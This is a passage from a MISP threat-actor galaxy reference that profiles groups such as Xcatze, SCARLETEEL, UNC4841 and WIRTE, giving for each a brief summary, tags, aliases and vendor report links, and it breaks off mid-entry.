Cloud security company Lacework says it discovered a threat actor group named Xcatze that uses a Python named AndroxGh0st to take over AWS servers and send out massive email spam campaigns.

Lacework says the malware operates by scanning web apps written in the Laravel PHP framework for exposed configuration files to identify and steal server credentials. Researchers said AndroxGh0st specifically searches for AWS, SendGrid, and Twilio credentials, which it uses to take control of email servers and accounts and send out the spam campaigns.

The tag is: *misp-galaxy:threat-actor="Xcatze"*

Table 18579. Table References

Links
https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys/

BlueBottle

Bluebottle, a cyber-crime group that specializes in targeted attacks against the financial sector, is continuing to mount attacks on banks in Francophone countries. The group makes extensive use of living off the land, dual-use tools, and commodity malware, with no custom malware deployed in this campaign.

The tag is: *misp-galaxy:threat-actor="BlueBottle"*

Table 18580. Table References

Links
http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa

Dalbit

The group usually targets vulnerable servers to breach information including internal data from companies or encrypts files and demands money. Their targets of attack are usually Windows servers that are poorly managed or are not patched to the latest version. Besides these, there are also attack cases that targeted email servers or MS-SQL database servers.

The tag is: *misp-galaxy:threat-actor="Dalbit"*

Table 18581. Table References

Links
https://asec.ahnlab.com/en/56941/
https://asec.ahnlab.com/en/56236/
https://asec.ahnlab.com/en/47455/
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/

SingularityMD

SingularityMD is a threat actor group that has targeted educational institutions in the US. They

gained unauthorized access to their networks by exploiting weak security practices, such as using students' dates of birth as passwords. SingularityMD demanded a ransom in cryptocurrency and threatened to leak stolen information if not paid. They have demonstrated a willingness to follow through on their threats and have already leaked some data.

The tag is: *misp-galaxy:threat-actor="SingularityMD"*

Table 18582. Table References

Links
https://www.databreaches.net/jeffco-public-schools-hit-by-the-same-threat-actors-that-hit-clark-county-school-district-and-via-the-same-way/
https://research.checkpoint.com/2023/30th-october-threat-intelligence-report/
https://www.databreaches.net/hackers-escalate-leak-200k-ccsd-students-data-claim-to-still-have-access-to-ccsd-email-system/

SCARLETEEL

SCARLETEEL is a threat actor that primarily targets cloud environments, specifically AWS and Kubernetes. They have been observed stealing proprietary data and intellectual property, as well as conducting cryptomining operations. SCARLETEEL employs sophisticated tactics and tools to bypass security measures and gain unauthorized access to accounts, often exploiting vulnerabilities in containerized workloads and misconfigurations in AWS policies.

The tag is: *misp-galaxy:threat-actor="SCARLETEEL"*

Table 18583. Table References

Links
https://sysdig.com/blog/scarleteel-2-0/
https://sysdig.com/blog/cloud-breach-terraform-data-theft/

DiceyF

DiceyF is an advanced persistent threat group that has been targeting online casinos and other victims in Southeast Asia for an extended period. They have exhibited overlapping activity with LuckyStar PlugX and Earth Berberoka/GamblingPuppet, as reported by various cybersecurity vendors. While their motivations remain unclear, previous incidents suggest a combination of espionage and intellectual property theft rather than immediate financial gain. DiceyF continuously evolves their codebase and adds encryption capabilities to enhance their stealthy cyberespionage activities.

The tag is: *misp-galaxy:threat-actor="DiceyF"*

Table 18584. Table References

Links

https://securelist.com/diceyf-deploys-gameplayerframework-in-online-casino-development-studio/107723/

DEV-0950

Lace Tempest, also known as DEV-0950, is a threat actor that exploited vulnerabilities in software such as SysAid and PaperCut to gain unauthorized access to systems. Lace Tempest is known for deploying the Clop ransomware and exfiltrating data from compromised networks.

The tag is: *misp-galaxy:threat-actor="DEV-0950"*

DEV-0950 is also known as:

- Lace Tempest

Table 18585. Table References

Links
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

WeRedEvils

WeRedEvils is a hacking group that has claimed responsibility for multiple cyber attacks. They targeted the Iranian Electric Grid and the Tasnimnews website, causing the latter to go offline. The group also claimed to have hacked into Iran's oil infrastructure, causing significant damage. They emerged in response to the Hamas massacre and are believed to be a group of Israeli cyber experts.

The tag is: *misp-galaxy:threat-actor="WeRedEvils"*

Table 18586. Table References

Links
https://cyberwarzone.com/tasnim-news-hacked-by-weredevils/
https://www.msspalert.com/news/managed-security-services-provider-mssp-market-news-30-october-2023

WIRTE

WIRTE is a threat actor group that was first discovered in 2018. They are suspected to be part of the Gaza Cybergang, an Arabic politically motivated cyber criminal group. WIRTE has been observed changing their toolkit and operating methods to remain undetected for longer periods of time. They primarily target governmental and political entities, but have also been known to target law firms and financial institutions.

The tag is: *misp-galaxy:threat-actor="WIRTE"*

WIRTE is also known as:

- Ashen Lepus

Table 18587. Table References

Links
https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044/
https://lab52.io/blog/wirte-group-attacking-the-middle-east/
https://unit42.paloaltonetworks.com/hamas-affiliate-ashen-lepus-uses-new-malware-suite-ashtag/

Caracal Kitten

Caracal Kitten is an APT group that has been targeting activists associated with the Kurdistan Democratic Party. They employ a mobile remote access Trojan to gain unauthorized access to victims' devices. The group disguises their malware as legitimate mobile apps, tricking users into installing them and granting the hackers access to their personal data.

The tag is: *misp-galaxy:threat-actor="Caracal Kitten"*

Caracal Kitten is also known as:

- APT-Q-58

Table 18588. Table References

Links
https://deform.co/hacker-group-caracal-kitten-targets-kdp-activists-with-malware/
https://www.ctfiot.com/138538.html

Water Labbu

Trend Micro discovered a threat actor they named Water Labbu that was targeting cryptocurrency scam websites. Typically, cryptocurrency scammers use social engineering techniques, interacting with victims to gain their trust and then manipulating them into providing the permissions needed to transfer cryptocurrency assets. While Water Labbu managed to steal cryptocurrencies via a similar method by obtaining access permissions and token allowances from their victim’s wallets, unlike other similar campaigns, they did not use any kind of social engineering — at least not directly. Instead, Water Labbu lets other scammers use their social engineering tricks to scam unsuspecting victims.

The tag is: *misp-galaxy:threat-actor="Water Labbu"*

Table 18589. Table References

Links
https://www.trendmicro.com/en_us/research/22/j/water-labbu-abuses-malicious-dapps-to-steal-cryptocurrency.html

TAG-56

TAG-56 is a threat actor group that shares similarities with the APT42 group. They use tactics such as fake registration pages and spearphishing to target victims, often using encrypted chat platforms like WhatsApp or Telegram. TAG-56 is believed to be part of a broader campaign led by an Iran-nexus threat activity group. They have been observed using shared web hosts and recycled code, indicating a preference for acquiring purpose-built infrastructure rather than establishing their own.

The tag is: *misp-galaxy:threat-actor="TAG-56"*

Table 18590. Table References

Links
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/
https://www.recordedfuture.com/suspected-iran-nexus-tag-56-uses-uae-forum-lure-for-credential-theft-against-us-think-tank

TA482

Since early 2022, Proofpoint researchers have observed a prolific threat actor, tracked as TA482, regularly engaging in credential harvesting campaigns that target the social media accounts of mostly US-based journalists and media organizations. This victimology, TA482's use of services originating from Turkey to host its domains and infrastructure, as well as Turkey's history of leveraging social media to spread pro-President Recep Tayyip Erdogan and pro-Justice and Development Party (Turkey's ruling party) propaganda support Proofpoint's assessment that TA482 is aligned with the Turkish state.

The tag is: *misp-galaxy:threat-actor="TA482"*

Table 18591. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/above-fold-and-your-inbox-tracing-state-aligned-activity-targeting-journalists

XakNet

XakNet is a self-proclaimed hacktivist group that has targeted Ukraine. They claim to be comprised of Russian patriotic volunteers and have conducted various threat activities, including DDoS attacks, compromises, data leaks, and website defacements. They coordinate their operations with other hacktivist groups and have connections to APT28, a cyber espionage group sponsored by the GRU.

The tag is: *misp-galaxy:threat-actor="XakNet"*

XakNet is also known as:

- UAC-0100
- UAC-0106

Table 18592. Table References

Links
https://www.mandiant.com/resources/blog/gru-rise-telegram-minions
https://www.mandiant.com/resources/blog/gru-disruptive-playbook
https://cip.gov.ua/services/cm/api/attachment/download?id=60068

Zarya

Zarya is a pro-Russian hacktivist group that emerged in March 2022. Initially operating as a special forces unit under the command of Killnet, Zarya has since become an independent entity. The group is primarily known for engaging in Denial-of-Service attacks, website defacement campaigns, and data leaks. Zarya targets government agencies, service providers, critical infrastructure, and civil service employees, both domestically and internationally.

The tag is: *misp-galaxy:threat-actor="Zarya"*

Zarya is also known as:

- UAC-0109

Table 18593. Table References

Links
https://www.mandiant.com/resources/blog/killnet-new-capabilities-older-tactics
https://www.cyfirma.com/?post_type=out-of-band&p=17397
https://www.reversinglabs.com/blog/the-week-in-security-possible-colonial-pipeline-2.0-ransomware-hurts-small-american-eateries
https://channellife.com.au/story/the-increasing-presence-of-pro-russia-hacktivists
https://socradar.io/dark-web-profile-killnet-russian-hacktivist-group/
https://cip.gov.ua/services/cm/api/attachment/download?id=60068

DarkCasino

DarkCasino is an economically motivated APT group that targets online trading platforms, including cryptocurrencies, online casinos, network banks, and online credit platforms. They are skilled at stealing passwords to access victims' online accounts and have been active for over a year. DarkCasino exploits vulnerabilities, such as the WinRAR vulnerability CVE-2023-38831, to launch phishing attacks and steal online property.

The tag is: *misp-galaxy:threat-actor="DarkCasino"*

Table 18594. Table References

Links
https://nsfocusglobal.com/the-new-apt-group-darkcasino-and-the-global-surge-in-winrar-0-day-exploits/

Prolific Puma

Prolific Puma provides an underground link shortening service to criminals. Infoblox states that during analysis, no legitimate content was observed being served through their shortener. For operation they use a registered domain generation algorithm (RDGA), based upon which they registered between 35k-75k domain names.

The tag is: *misp-galaxy:threat-actor="Prolific Puma"*

Table 18595. Table References

Links
https://blogs.infoblox.com/cyber-threat-intelligence/prolific-puma-shadowy-link-shortening-service-enables-cybercrime/

Bohrium

Bohrium is an Iranian threat actor that has been involved in spear-phishing operations targeting organizations in the US, Middle East, and India. They often create fake social media profiles, particularly posing as recruiters, to trick victims into running malware on their computers. Microsoft's Digital Crimes Unit has taken legal action and seized 41 domains used by Bohrium to disrupt their activities. The group has shown a particular interest in sectors such as technology, transportation, government, and education.

The tag is: *misp-galaxy:threat-actor="Bohrium"*

Bohrium is also known as:

- Smoke Sandstorm
- BOHRIUM
- IMPERIAL KITTEN

View relationships graph

Bohrium has relationships with:

- similar: misp-galaxy:threat-actor="Tortoiseshell" with estimative-language:likelihood-probability="likely"

Table 18596. Table References

Links
https://twitter.com/CyberAmyHB/status/1532398956918890500

KAX17

KAX17 is a sophisticated threat actor that has been active since at least 2017. They have operated hundreds of malicious servers within the Tor network, primarily as entry and middle points. Their main objective appears to be collecting information on Tor users and mapping their routes within the network. Despite efforts to remove their servers, KAX17 has shown resilience and continues to operate.

The tag is: *misp-galaxy:threat-actor="KAX17"*

Table 18597. Table References

Links
https://www.malwarebytes.com/blog/news/2021/12/was-threat-actor-kax17-de-anonymizing-the-tor-network/amp
https://therecord.media/a-mysterious-threat-actor-is-running-hundreds-of-malicious-tor-relays
https://darknetlive.com/post/who-is-responsible-for-running-hundreds-of-malicious-tor-relays/
https://nusenu.medium.com/is-kax17-performing-de-anonymization-attacks-against-tor-users-42e566defce8

MirrorFace

MirrorFace is a Chinese-speaking advanced persistent threat group that has been targeting high-value organizations in Japan, including media, government, diplomatic, and political entities. They have been conducting spear-phishing campaigns, utilizing malware such as LODEINFO and MirrorStealer to steal credentials and exfiltrate sensitive data. While there is speculation about their connection to APT10, ESET currently track them as a separate entity.

The tag is: *misp-galaxy:threat-actor="MirrorFace"*

MirrorFace is also known as:

- Earth Kasha

Table 18598. Table References

Links
https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/
https://web-assets.esetstatic.com/wls/2023/01/eset_apt_activity_report_t32022.pdf
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/
https://www.trendmicro.com/en_us/research/24/k/return-of-anel-in-the-recent-earth-kasha-spearphishing-campaign.html
https://www.trendmicro.com/en_us/research/24/k/lodeinfo-campaign-of-earth-kasha.html

VulzSecTeam

VulzSec, also known as VulzSecTeam, is a hacktivist group that has been involved in various cyber-attacks. They have targeted government websites in retaliation for issues such as police brutality and the treatment of Indian Muslims. The group has been involved in campaigns like OpIndia2.0, where they planned to launch DDoS attacks on Indian government websites.

The tag is: *misp-galaxy:threat-actor="VulzSecTeam"*

VulzSecTeam is also known as:

- VulzSec

Table 18599. Table References

Links
https://blog.cyble.com/2023/04/28/indian-ideology-targeted-by-hacktivists-reprisal-hacktivism-draws-more-attacks/
https://www.enigmasoftware.com/indonesian-sudanese-cyber-threats-continue-grow-size-scope/

Chernovite

Chernovite is a highly capable and sophisticated threat actor group that has developed a modular ICS malware framework called PIPEDREAM. They are known for targeting industrial control systems and operational technology environments, with the ability to disrupt, degrade, and potentially destroy physical processes. Chernovite has demonstrated a deep understanding of ICS protocols and intrusion techniques, making them a significant threat to critical infrastructure sectors.

The tag is: *misp-galaxy:threat-actor="Chernovite"*

Table 18600. Table References

Links
https://www.dragos.com/blog/pipedream-mousehole-opcua-module/
https://www.dragos.com/blog/industry-news/chernovite-pipedream-malware-targeting-industrial-control-systems/
https://www.dragos.com/threats/the-2022-ics-ot-vulnerability-briefing-recap/
https://www.dragos.com/blog/responding-to-chernovites-pipedream-with-dragos-global-services/

MurenShark

MurenShark is an advanced persistent threat group that operates primarily in the Middle East, with a focus on targeting Turkey. They have shown interest in military projects, as well as research institutes and universities. This group is highly skilled in counter-analysis and reverse traceability, using sophisticated tactics to avoid detection. They utilize compromised websites as file servers and command and control servers, and have been known to use attack tools like NiceRender for

phishing purposes.

The tag is: *misp-galaxy:threat-actor="MurenShark"*

MurenShark is also known as:

- Actor210426

Table 18601. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-murenshark-apt-threat-actors-aka-actor210426-active-iocs

DriftingCloud

DriftingCloud is a persistent threat actor known for targeting various industries and locations. They are skilled at developing or acquiring zero-day exploits to gain unauthorized access to target networks. Compromising gateway devices is a common tactic used by DriftingCloud, making network monitoring solutions crucial for detecting their attacks.

The tag is: *misp-galaxy:threat-actor="DriftingCloud"*

Table 18602. Table References

Links
https://socradar.io/driftingcloud-apt-group-exploits-zero-day-in-sophos-firewall/
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
https://www.trendmicro.com/en_us/research/23/g/supply-chain-attack-targeting-pakistani-government-delivers-shad.html

UNC4191

UNC4191 is a China-linked threat actor that has been involved in cyber espionage campaigns targeting public and private sectors primarily in Southeast Asia. They have been known to use USB devices as an initial infection vector and have been observed deploying various malware families on infected systems. UNC4191's operations have also extended to the US, Europe, and the Asia Pacific Japan region, with a particular focus on the Philippines.

The tag is: *misp-galaxy:threat-actor="UNC4191"*

Table 18603. Table References

Links
https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia
https://therecord.media/espionage-group-using-usb-devices-to-hack-targets-in-southeast-asia/

DragonSpark

DragonSpark is a threat actor that has been conducting attacks primarily targeting organizations in East Asia. They utilize the open-source tool SparkRAT, which is a multi-platform and frequently updated remote access Trojan. The threat actor is believed to be Chinese-speaking based on their use of Chinese language support and compromised infrastructure located in China and Taiwan. They employ various techniques to evade detection, including Golang source code interpretation and the use of the China Chopper webshell.

The tag is: *misp-galaxy:threat-actor="DragonSpark"*

Table 18604. Table References

Links
https://www.sentinelone.com/labs/dragonspark-attacks-evade-detection-with-sparkrat-and-golang-source-code-interpretation/

FusionCore

The CYFIRMA research team has identified a new up-and-coming European threat actor group known as FusionCore. Running Malware-as-a-service, along with the hacker-for- hire operation, they have a wide variety of tools and services that are being offered on their website, making it a one-stop-shop for threat actors looking to purchase cost- effective yet customizable malware. The operators have started a ransomware affiliate program that equips the attackers with the ransomware and affiliate software to manage victims. FusionCore typically provides sellers with a detailed set of instructions for any service or product being sold, enabling individuals with minimal experience to carry out complex attacks.

The tag is: *misp-galaxy:threat-actor="FusionCore"*

Table 18605. Table References

Links
https://www.cyfirma.com/?post_type=out-of-band&p=17003

Earth Kitsune

Earth Kitsune is an advanced persistent threat actor that has been active since at least 2019. They primarily target individuals interested in North Korea and use various tactics, such as compromising websites and employing social engineering, to distribute self-developed backdoors. Earth Kitsune demonstrates technical proficiency and continuously evolves their tools, tactics, and procedures. They have been associated with malware such as WhiskerSpy and SLUB.

The tag is: *misp-galaxy:threat-actor="Earth Kitsune"*

Table 18606. Table References

Links

https://www.trendmicro.com/en_us/research/23/b/earth-kitsune-delivers-new-whiskerspy-backdoor.html
https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html
https://www.trendmicro.com/en_us/research/20/j/operation-earth-kitsune-a-dance-of-two-new-backdoors.html
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-earth-kitsune-tracking-slub-s-current-operations/

AppMilad

AppMilad is an Iranian hacking group that has been identified as the source of a spyware campaign called RatMilad. This spyware is designed to silently infiltrate victims' devices and gather personal and corporate information, including private communications and photos. The group has been distributing the spyware through fake apps and targeting primarily Middle Eastern enterprises.

The tag is: *misp-galaxy:threat-actor="AppMilad"*

Table 18607. Table References

Links
https://zimpstage.wpengine.com/blog/we-smell-a-ratmilad-mobile-spyware/

UNC4841

UNC4841 is a well-resourced threat actor that has utilized a wide range of malware and purpose-built tooling to enable their global espionage operations. They have been observed selectively deploying specific malware families at high priority targets, with SKIPJACK being the most widely deployed. UNC4841 primarily targeted government and technology organizations, but they have also been observed targeting other verticals.

The tag is: *misp-galaxy:threat-actor="UNC4841"*

UNC4841 is also known as:

- SLIME57

Table 18608. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc4841-post-barracuda-zero-day-remediation/
https://cloud.google.com/blog/topics/threat-intelligence/barracuda-esg-exploited-globally/
https://i.blackhat.com/Asia-24/Presentations/Asia-24-Chen-Chinese-APT.pdf
https://www.youtube.com/watch?v=PSaix1C-UMI

https://www.youtube.com/watch?v=4zaStuUdvrE
https://sansorg.egnyte.com/dd/8ekLJCPHPj/
https://www.cisa.gov/sites/default/files/2023-07/MAR-10454006.r3.v1.CLEAR_.pdf
https://www.cisa.gov/sites/default/files/2023-07/MAR-10454006.r2.v1.CLEAR_.pdf
https://www.cisa.gov/sites/default/files/2023-07/MAR-10454006.r1.v2.CLEAR_.pdf
https://www.cisa.gov/sites/default/files/2023-08/MAR-10459736.r1.v1.CLEAR_.pdf
https://www.cisa.gov/sites/default/files/2023-08/MAR-10454006.r4.v2.CLEAR_.pdf
https://www.cisa.gov/sites/default/files/2023-09/MAR-10454006.r5.v1.CLEAR0.pdf
https://www.barracuda.com/company/legal/esg-vulnerability
https://mandiant.widen.net/s/qwlxddwdg6/barracuda-cve-2023-2868-hardening
https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_1_5_leon-chang_theo-chen_en.pdf

CL-STA-0043

CL-STA-0043 is a highly skilled and sophisticated threat actor, believed to be a nation-state, targeting governmental entities in the Middle East and Africa. They exploit vulnerabilities in on-premises Internet Information Services and Microsoft Exchange servers to infiltrate target networks. They engage in reconnaissance, locate vital assets, and have been observed using native Windows tools for privilege escalation.

The tag is: *misp-galaxy:threat-actor="CL-STA-0043"*

CL-STA-0043 is also known as:

- TGR-STA-0043

Table 18609. Table References

Links
https://www.securonix.com/blog/securonix-threat-labs-monthly-intelligence-insights-june-2023/
https://www.paloaltonetworks.com/blog/security-operations/through-the-cortex-xdr-lens-uncovering-a-new-activity-group-targeting-governments-in-the-middle-east-and-africa/
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

DEV-0928

DEV-0928 is a threat actor that has been tracked by Microsoft since September 2022. They are known for their involvement in high-volume phishing campaigns, using tools offered by DEV-1101. DEV-0928 sends phishing emails to targets and has been observed launching campaigns involving millions of emails. They also utilize evasion techniques, such as redirection to benign pages, to avoid detection.

The tag is: *misp-galaxy:threat-actor="DEV-0928"*

Table 18610. Table References

Links
http://www.microsoft.com/en-us/security/blog/2023/03/13/dev-1101-enables-high-volume-aitm-campaigns-with-open-source-phishing-kit/

TEMP_Heretic

TEMP_Heretic is a threat actor that has been observed engaging in targeted spear-phishing campaigns. They exploit vulnerabilities in email platforms, such as Zimbra, to exfiltrate emails from government, military, and media organizations. They use multiple outlook.com email addresses and manually craft content for each email before sending it.

The tag is: *misp-galaxy:threat-actor="TEMP_Heretic"*

Table 18611. Table References

Links
https://www.welivesecurity.com/en/eset-research/mass-spreading-campaign-targeting-zimbra-users/
https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/

WeedSec

WeedSec is a threat actor group that recently targeted the online learning and course management platform Moodle. They posted sample databases of Moodle on their Telegram channel, which is widely used by educational institutions and workplaces.

The tag is: *misp-galaxy:threat-actor="WeedSec"*

Table 18612. Table References

Links
https://socradar.io/cyber-awakeness-month-takedown-of-trigona-hive-ransomware-resurges-ransomedforum-and-new-raas-qbit/

TA444

TA444 is a North Korea state-sponsored threat actor that primarily focuses on financially motivated operations. They have been active since at least 2017 and have recently shifted their attention to targeting cryptocurrencies. TA444 employs various infection methods and has a diverse range of malware and backdoors at their disposal. They have been attributed to stealing hundreds of millions of dollars' worth of cryptocurrency and related assets.

The tag is: *misp-galaxy:threat-actor="TA444"*

Table 18613. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds
https://cyberscoop.com/north-korean-cryptocurrency-hackers-education-government/
https://www.darkreading.com/remote-workforce/north-korea-apt-swindled-1b-crypto-investors-2022

UAC-0006

UAC-0006 is a financially motivated threat actor that has been active since at least 2013. They primarily target Ukrainian organizations, particularly accountants, with phishing emails containing the SmokeLoader malware. Their goal is to steal credentials and execute unauthorized fund transfers, posing a significant risk to financial systems.

The tag is: *misp-galaxy:threat-actor="UAC-0006"*

Table 18614. Table References

Links
https://socprime.com/blog/smokeloader-detection-uac-0006-group-launches-a-new-phishing-campaign-against-ukraine/
https://socprime.com/blog/smokeloader-malware-detection-uac-0006-hackers-launch-a-wave-of-phishing-attacks-against-ukraine-targeting-accountants/
https://socprime.com/blog/detecting-smokeloader-campaign-uac-0006-keep-targeting-ukrainian-financial-institutions-in-a-series-of-phishing-attacks/
https://socprime.com/blog/latest-threats/detect-smokeloader-malware-uac-0006-strikes-again-to-target-ukraine-in-a-series-of-phishing-attacks/
https://socprime.com/blog/smokeloader-malware-detection-uac-0006-group-reemerges-to-launch-phishing-attacks-against-ukraine-using-financial-subject-lures/
https://cert.gov.ua/article/4555802
https://cert.gov.ua/article/6123309

NewsPenguin

NewsPenguin is threat actor that has been targeting organizations in Pakistan. They use a complex payload delivery mechanism and exploit the upcoming Pakistan International Maritime Expo & Conference as a lure to trick their victims. The group has been linked to a phishing campaign that leverages spear-phishing emails and weaponized documents to deliver an advanced espionage tool.

The tag is: *misp-galaxy:threat-actor="NewsPenguin"*

Table 18615. Table References

Links

https://www.rewterz.com/rewterz-news/rewterz-threat-alert-newspenguin-threat-actors-targeting-pakistani-entities-with-malicious-campaign-active-iocs
https://blogs.blackberry.com/en/2023/02/newspenguin-a-previously-unknown-threat-actor-targets-pakistan-with-advanced-espionage-tool

DefrayX

DefrayX is a threat actor group known for their RansomExx ransomware operations. They primarily target Linux operating systems, but also release versions for Windows. The group has been active since 2018 and has targeted various sectors, including healthcare and manufacturing. They have also developed other malware strains such as PyXie RAT, Vatet loader, and Defray ransomware.

The tag is: *misp-galaxy:threat-actor="DefrayX"*

DefrayX is also known as:

- Hive0091

Table 18616. Table References

Links
https://securityaffairs.co/wordpress/138933/malware/ransomexx-ransomware-rust-language.html
https://research.checkpoint.com/2022/28th-november-threat-intelligence-report/
https://securityintelligence.com/posts/ransomexx-upgrades-rust/

PerSwaysion

PerSwaysion is a threat actor known for conducting phishing campaigns targeting high-level executives. They have been active since at least August 2019 and are believed to be based in Vietnam. PerSwaysion has recently updated their techniques, using more direct phishing methods and leveraging Microsoft 365 to steal credentials.

The tag is: *misp-galaxy:threat-actor="PerSwaysion"*

Table 18617. Table References

Links
https://blog.group-ib.com/perswaysion
https://blog.scarletshark.com/perswaysion-threat-actor-updates-their-techniques-and-infrastructure-e9465157a653

Webworm

Space Pirates is a cybercrime group that has been active since at least 2017. They primarily target Russian companies and have been observed using various malware, including Deed RAT and

ShadowPad. The group uses a combination of publicly available tools and their own protocols to communicate with their command-and-control servers.

The tag is: *misp-galaxy:threat-actor="Webworm"*

Webworm is also known as:

- Space Pirates

Table 18618. Table References

Links
http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-a-look-into-the-group-s-unconventional-techniques-new-attack-vectors-and-tools/
https://blog.polyswarm.io/space-pirates-target-russian-aerospace

N4ughtysecTU

In March 2022, a hacking group calling themselves N4ughtySecTU claimed to have breached TransUnion's systems and threatened to leak four terabytes of data if the credit bureau didn't pay a $15-million (R242-million) ransom.

The tag is: *misp-galaxy:threat-actor="N4ughtysecTU"*

Table 18619. Table References

Links
https://mybroadband.co.za/news/security/438982-how-bank-customers-can-protect-themselves-after-hackers-leak-transunion-data.html
https://cisoseries.com/cyber-security-headlines-march-21-2022/
https://mybroadband.co.za/news/security/443090-cybercriminals-love-south-africa-study.html

Moshen Dragon

Moshen Dragon is a Chinese-aligned cyberespionage threat actor operating in Central Asia. They have been observed deploying multiple malware triads and utilizing DLL search order hijacking to sideload ShadowPad and PlugX variants. The threat actor also employs various tools, including an LSA notification package and a passive backdoor known as GUNTERS. Their activities involve targeting the telecommunication sector and leveraging Impacket for lateral movement and data exfiltration.

The tag is: *misp-galaxy:threat-actor="Moshen Dragon"*

Table 18620. Table References

Links

https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/

TiltedTemple

One of their notable tools is a custom backdoor called SockDetour, which operates filelessly and socketlessly on compromised Windows servers. The group's activities have been linked to the exploitation of vulnerabilities in Zoho ManageEngine ADSelfService Plus and ServiceDesk Plus.

The tag is: *misp-galaxy:threat-actor="TiltedTemple"*

TiltedTemple is also known as:

- DEV-0322
- Circle Typhoon

Table 18621. Table References

Links
https://unit42.paloaltonetworks.com/sockdetour/
https://blog.fox-it.com/2021/11/08/ta505-exploits-solarwinds-serv-u-vulnerability-cve-2021-35211-for-initial-access/
https://www.microsoft.com/en-us/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/

OldGremlin

OldGremlin is a Russian-speaking ransomware group that has been active for several years. They primarily target organizations in Russia, including banks, logistics, industrial, insurance, retail, and IT companies. OldGremlin is known for using phishing emails as an initial infection vector and has developed custom malware for both Windows and Linux systems. They have conducted multiple malicious email campaigns and demand large ransoms from their victims, with some reaching millions of dollars.

The tag is: *misp-galaxy:threat-actor="OldGremlin"*

Table 18622. Table References

Links
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-new-ransomware-actor-oldgremlin-hits-multiple-organizations
https://www.group-ib.com/blog/oldgremlin-comeback/
https://www.group-ib.com/media-center/press-releases/oldgremlin/

Storm Cloud

Storm Cloud is a Chinese espionage threat actor known for targeting organizations across Asia, particularly Tibetan organizations and individuals. They use a variety of malware families, including GIMMICK and GOSLU, which are feature-rich and multi-platform. Storm Cloud leverages public cloud hosting services like Google Drive for command-and-control channels, making it difficult to detect their activities.

The tag is: *misp-galaxy:threat-actor="Storm Cloud"*

Table 18623. Table References

Links
https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-gimmick-malware-active-iocs

CostaRicto

CostaRicto is a cyber-espionage threat actor that operates as a mercenary group, offering its services to various clients globally. They use bespoke malware tools and sophisticated techniques like VPN proxy and SSH tunnelling. While their targets are scattered across different regions, there is a concentration in South Asia.

The tag is: *misp-galaxy:threat-actor="CostaRicto"*

Table 18624. Table References

Links
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced
https://www.cybersecurityintelligence.com/blog/outsourced-cyber-spying-5335.html

TA402

TA402 is an APT group that has been tracked by Proofpoint since 2020. They primarily target government entities in the Middle East and North Africa, with a focus on intelligence collection. TA402 is known for using sophisticated phishing campaigns and constantly updating their malware implants and delivery methods to evade detection. They have been observed using cloud services like Dropbox and Google Drive for hosting malicious payloads and command-and-control infrastructure.

The tag is: *misp-galaxy:threat-actor="TA402"*

Table 18625. Table References

Links

https://www.proofpoint.com/us/blog/threat-insight/ta402-uses-complex-ironwind-infection-chains-target-middle-east-based-government
https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage

SilverFish

SilverFish is believed to be a Russian cyberespionage group that has been involved in various cyberattacks, including the use of the SolarWinds breach as an attack vector. SilverFish has been linked to the Wasted Locker ransomware and has displayed a high level of skill and organization in their cyber operations. There are also connections between SilverFish and the threat actor Evil Corp, suggesting a possible evolution or collaboration between the two groups.

The tag is: *misp-galaxy:threat-actor="SilverFish"*

Table 18626. Table References

Links
https://www.truesec.com/hub/blog/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies
https://www.prodaft.com/resource/detail/silverfish-global-cyber-espionage-campaign-case-report
https://www.mandiant.com/resources/blog/unc2165-shifts-to-evade-sanctions

Blacktail

Blacktail is a cybercrime group that has gained attention for its ransomware campaigns, particularly the Buhti ransomware. They are known for using custom-built data exfiltration tools and have been observed exploiting vulnerabilities in both Windows and Linux systems.

The tag is: *misp-galaxy:threat-actor="Blacktail"*

Table 18627. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/buhti-ransomware
https://fortiguard.fortinet.com/threat-signal-report/5170
https://www.redpacketsecurity.com/new-buhti-ransomware-gang-uses-leaked-windows-linux-encryptors/
https://www.redpacketsecurity.com/buhti-ransomware-gang-switches-tactics-utilizes-leaked-lockbit-and-babuk-code/

MalKamak

MalKamak is an Iranian threat actor that has been operating since at least 2018. They have been involved in highly targeted cyber espionage campaigns against global aerospace and

